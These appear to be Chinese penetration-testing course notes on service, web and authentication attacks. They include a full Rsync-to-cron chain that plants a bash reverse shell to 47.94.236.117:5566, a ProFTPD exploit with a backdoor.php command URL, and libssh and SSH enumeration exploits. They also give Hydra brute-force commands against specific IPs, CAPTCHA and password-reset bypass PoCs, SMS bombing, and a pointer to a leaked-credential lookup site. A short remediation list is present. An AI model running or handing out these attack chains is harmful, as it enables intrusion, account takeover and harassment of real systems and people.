服务安全

一、数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

二、数据库安全&H2&Elasticsearch&CouchDB&Influxdb


常见服务应用的安全测试:

1、配置不当-未授权访问

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击


Influxdb:该数据库用于存储高时序的数据,应用于监控或者Iot。默认端口号:8086

三、应用协议&Rsync&SSH&RDP&FTP&漏洞批扫&口令猜解

#配置不当-未授权访问-Rsync文件备份

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

判断:rsync rsync://123.58.236.76:45854/

利用:

-读取文件:rsync rsync://123.58.236.76:45854/src/

-下载文件:rsync rsync://123.58.236.76:45854/src/etc/passwd ./

-上传文件:rsync -av passwd rsync://123.58.236.76:45854/src/tmp/passwd

反弹shell:

1、获取信息:

rsync rsync://123.58.236.76:12177/src/etc/crontab /root/cron.txt

2.创建文件

touch shell

#!/bin/bash

/bin/bash -i >& /dev/tcp/47.94.236.117/5566 0>&1

chmod +x shell

3、上传文件

rsync -av shell rsync://123.58.236.76:12177/src/etc/cron.hourly

4、等待接受反弹

#高端课程-直接搜哈-MSF&Fofaviewer

https://github.com/wgpsec/fofa_viewer

msfconsole

use auxiliary/scanner/rsync/modules_list

set rhosts file:/root/ips.txt

set threads 10

run

#协议漏洞-应用软件-FTP&Proftpd搭建

https://github.com/t0kx/exploit-CVE-2015-3306

python exploit.py –host 123.58.236.76 –port 24967 –path “/var/www/html/”

http://123.58.236.76:19758/backdoor.php?cmd=id

#协议漏洞-应用软件-SSH&libssh&Openssh

-Openssh CVE-2014-0160 CVE-2018-15473 cve_2020_15778

CVE-2014-0160 版本很少

cve_2020_15778 价值不高

CVE-2018-15473-用户名枚举

https://github.com/Rhynorater/CVE-2018-15473-Exploit

pip3 install -r requirements.txt

pip3 install paramiko==2.4.1

python sshUsernameEnumExploit.py –port 32013 –userList exampleInput.txt 123.58.236.76

-libssh 身份验证绕过(CVE-2018-10933)

https://www.seebug.org/vuldb/ssvid-97614

python libssh.py 123.58.236.76 55190 “id”



跨域CORS资源&JSONP回调&域名接管劫持

新的知识点

一、CORS:
它和CSRF很像。CSRF可以操作数据包,但是CORS只能获取当前页面的资源。CSRF如果防御方配置同源策略的话就会不起作用。


#知识点:

1、子域名接管-检测&探针&利用

2、CORS跨域资源-检测&探针&利用

3、JSONP跨域回调-检测&探针&利用

#前置知识点:

-同源策略(SOP)-“同源”包括三个条件:同协议 同域名 同端口

同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制.简单说就是浏览器的一种安全策略。

虽然同源策略在安全方面起到了很好的防护作用,但也在一定程度上限制了一些前端功能的实现,所以就有了许多跨域的手段。

-子域名接管:

域名解析记录指向域名,对应主机指向了一个当前未在使用或已经删除的特定服务,攻击者通过注册指向域名,从而控制当前域名的控制权,实现恶意软件分发、网络钓鱼/鱼叉式网络钓鱼、XSS 、身份验证绕过等。子域名接管不仅仅限于CNAME记录,NS,MX甚至A记录也会受到影响。

检测项目:

https://github.com/pwnesia/dnstake

https://github.com/anshumanbh/tko-subs

https://github.com/mhmdiaa/second-order

https://github.com/r3curs1v3-pr0xy/sub404

https://github.com/Echocipher/Subdomain-Takeover

-CORS跨域资源

CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据。

Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。

Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。

Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

检测项目:https://github.com/chenjj/CORScanner

-JSONP跨域回调

JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。

检测项目:手工审查元素筛选或Burp项目

https://github.com/p1g3/JSONP-Hunter


URL重定向(配合钓鱼)

URL重定向跳转

写代码时没有考虑过任意URL跳转漏洞,或者根本不知道/不认为这是个漏洞;

写代码时考虑不周,用取子串、取后缀等方法简单判断,代码逻辑可被绕过;

对传入参数做一些奇葩的操作(域名剪切/拼接/重组)和判断,适得其反,反被绕过;

原始语言自带的解析URL、判断域名的函数库出现逻辑漏洞或者意外特性,可被绕过;

原始语言、服务器/容器特性、浏览器等对标准URL协议解析处理等差异性导致绕过;

Web拒绝服务

现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险,导致服务器处理不过来或占用资源去处理。
比如图片、压缩文件可以被用户自定义大小,或者压缩包可以被无限解压,如果这个压缩包是恶意的套娃压缩包,网站有解压功能的话无限解压这些压缩包,就会耗尽资源。

弱口令

1.百度搜REG007:查看注册过多少网站。

2.xx库,SGK66.CC

3.对弱口令抓包,使用bp的爆破模块,可以对payload进行加密,使用payload processing 选择对应的加密方式,比如MD5.

#Web类-加密&验证码后台猜解

https://github.com/smxiazi/NEW_xp_CAPTCHA

-Zblog-密文MD5传输加密猜解

-Seacms-登录验证码识别猜解

#服务类-SSH&RDP远程终端猜解

https://github.com/vanhauser-thc/thc-hydra

hydra是一个自动化的爆破工具,暴力破解弱密码,

是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

hydra -l root -P UserPassCombo-Jay.txt -t 5 -vV 47.110.73.12 ssh -f

hydra -l administrator -P UserPassCombo-Jay.txt -t 5 -vV 47.99.218.105 rdp -f

#应用类-ZIP&WORD文件压缩包猜解

PassFab for Word //支持多种格式密码暴力破解,不过基于字典。

Advanced Archive Password Recovery

#字典类-密文收集&弱口令&自定义生成

https://monitor.firefox.com

https://haveibeenpwned.com

https://www.bugku.com/mima //弱口令生成

https://github.com/danielmiessler/SecLists //这是很多常见的密码

https://github.com/hetianlab/DefaultCreds-cheat-sheet

验证码

验证码出现在很多地方,用来防止暴力破解以及进行身份验证,如果验证码设计存在漏洞,会让攻击者进行任意登录或者找回,危害很大。

一、验证码回显
1.验证码在数据包中显示出来:
用发送验证码时使用bp抓取数据包,从数据包中观察是否含有验证码,如果有,可以直接改包利用。
2.验证码不回显:
尝试抓包,在bp中右键数据包,选择do interscept ->Response to this request,对比输入正确的验证码和错误的验证码之后状态码的数字,比如正确为1,错误为3,尝试输入错误的验证码后,将状态码改成1,看看能否成功。不过这是因为验证基于前端或者本地浏览器,大概率不成功,如果别人验证用的是后端,那想必是不能成功的。

二、接口调用错误
1.短信轰炸:网络上有些发送验证码的服务不能防止重发的话,利用这些接口,反复给某个号码发送大量验证码的短信。

三、修改用户指向
1.当点击找回密码时,可能会给账号的邮箱发送修改密码的邮件,邮件之中有重置密码的链接,观察该链接是否包含可以由我们自行修改的变量,比如说用户名,尝试修改用户名看看是否能重置其他用户的密码。不过大概率是不行的,因为会有验证。但是如果是白盒测试,那么可以审计源码。

#知识点:

1、找回密码逻辑机制-回显&验证码&指向

2、验证码验证安全机制-爆破&复用&识别

3、找回密码-客户端回显&Response状态值&修改重定向

4、验证码技术-验证码爆破,验证码复用,验证码识别等

#详细点:

-找回密码流程安全:

1、用回显状态判断-res前端判断不安全

2、用用户名重定向-修改标示绕过验证

3、验证码回显显示-验证码泄漏验证虚设

4、验证码简单机制-验证码过于简单爆破

-验证码绕过安全:

1、验证码简单机制-验证码过于简单爆破

2、验证码重复使用-验证码验证机制绕过

3、验证码智能识别-验证码图形码被识别

4、验证码接口调用-验证码触发机制枚举

#安全修复方案:

-找回机制要进行每一步验证-防绕过重定向

-找回机制要进行服务端验证-防res数据修改

-找回机制要控制验证码安全-防验证码攻击

-验证码接口需验证后被调用-防接口被乱调用

-验证码引用智能化人工判断-防验证码被识别

-验证码采用时间段生效失效-防验证码被复用


#phpun-res值修改&验证码回显&爆破

res修改-绑定手机号时修改返回状态值判定通过

验证码回显-绑定手机号时验证码前端泄漏被获取

验证码爆破-知道验证码规矩进行无次数限制爆破

#某APP-res值修改&验证码接口调用&复用

res修改-找回密码修改返回状态值判定验证通过

验证码接口调用-抓当前发送验证码数据包后调用

验证码复用-抓第一次验证通过的验证码进行复用

#seacms-验证码识别&找回机制对应值修改

-找回机制对应值修改:

注册两个帐号,尝试找回密码,重置连接重定向绕过

代码审计后分析Poc:

member.php?mod=repsw3&repswcode=y&repswname=targetUser

-验证码识别:xp_CAPTCHA

https://github.com/c0ny1/captcha-killer

https://github.com/smxiazi/NEW_xp_CAPTCHA

使用环境:windows 10 python3.6.5

安装使用:具体看直播操作

1、burp安装jypython后导入py文件

2、安装所需库后python运行server.py

3、抓操作数据包后设置参数设置引用

参考案例:https://www.cnblogs.com/punished/p/14746970.html

应用:爆破密码时,接口调用时,测试其他时等

跟着前辈学习

1.暴露面搜集:

(1)首先搜集需要的目标全称,如“xx有限公司”
(2)在小蓝本上搜索,小蓝本会显示该公司归属的集团、子公司。可能该公司防护做的不错,但是旁路就不太安全,可以搜集一波。如果单位太多,使用burp的history来爬取对应接口。先抓个包,然后把监听停掉,在history把监听接口修改,然后在小蓝本页面浏览公司,注意长度为268的时候表示已经浏览完全。
(3)将上述抓取到的包,复制粘贴到一个txt文件中,注意每一个包最好空行。然后使用脚本搜集相关公司名称。
(4)使用爱企查批量查找这些公司,一定要使用爱企查的模板。
(5)导出后,保存为xslx格式,只看开业企业,然后搜集域名这一栏。
(6)使用工具对这些域名进行搜集,shuize,oneforall等
(7)获取备案号:使用脚本将企业ID跑出来,然后使用burp进行爆破。在爱企查中找到一个有网站备案的公司,点击备案,然后使用burp的history抓取接口,将request包转发到爆破。
(8)注意,第一和第三个 ID处 设置成变量,然后线程池一定要小一点,然后使用ID进行爆破。
(9)可以使用站长之家,hunter,ICP备案等网站继续查询。